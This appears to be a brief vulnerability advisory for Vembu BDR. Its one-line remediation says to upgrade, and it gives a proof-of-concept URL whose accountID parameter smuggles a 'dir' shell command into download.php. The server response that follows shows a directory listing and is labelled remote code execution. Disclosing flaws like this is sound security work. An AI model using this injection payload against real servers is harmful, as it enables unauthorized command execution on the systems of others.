Advisory

Upgrade to the latest version of Vembu

Technical details

http://local/consumerweb/secure/download.php?Action=ResellerTemplate&accountID=%26dir

result:

HTTP/1.1 302 Found
Date: Sat, 30 Jan 2021 19:02:36 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Set-Cookie: PHPSESSID=5gltfutgghee5mncvhm90u2klb; path=/
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
location: ../../consumerweb/error.php
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Length: 1424
Connection: close
Content-Type: text/html; charset=UTF-8

 Volume in drive C has no label.
 Volume Serial Number is BCB6-F449

 Directory of C:\Program Files\Vembu\VembuBDR\htmlgui\consumerweb\secure
30/01/2021  10:55    <DIR>          .
30/01/2021  10:55    <DIR>          ..
13/05/2020  13:02             1.946 config.php
13/05/2020  13:02             8.682 constants.php
13/05/2020  13:02            12.475 download.php
30/01/2021  10:55    <DIR>          php-templates-generic
13/05/2020  13:02             6.308 proupload.php
13/05/2020  13:02             3.972 s3-php-upload.php
13/05/2020  13:02             3.829 uploader.php
               6 File(s)         37.212 bytes
               3 Dir(s)  27.942.838.272 bytes free
 Volume in drive C has no label.
 Volume Serial Number is BCB6-F449

 Directory of C:\Program Files\Vembu\VembuBDR\htmlgui\consumerweb\secure

30/01/2021  10:55    <DIR>          .
30/01/2021  10:55    <DIR>          ..
13/05/2020  13:02             1.946 config.php
13/05/2020  13:02             8.682 constants.php
13/05/2020  13:02            12.475 download.php
30/01/2021  10:55    <DIR>          php-templates-generic
13/05/2020  13:02             6.308 proupload.php
13/05/2020  13:02             3.972 s3-php-upload.php
13/05/2020  13:02             3.829 uploader.php
               6 File(s)         37.212 bytes
               3 Dir(s)  27.942.838.272 bytes free
Mysql connection errorMysql connection error
RCE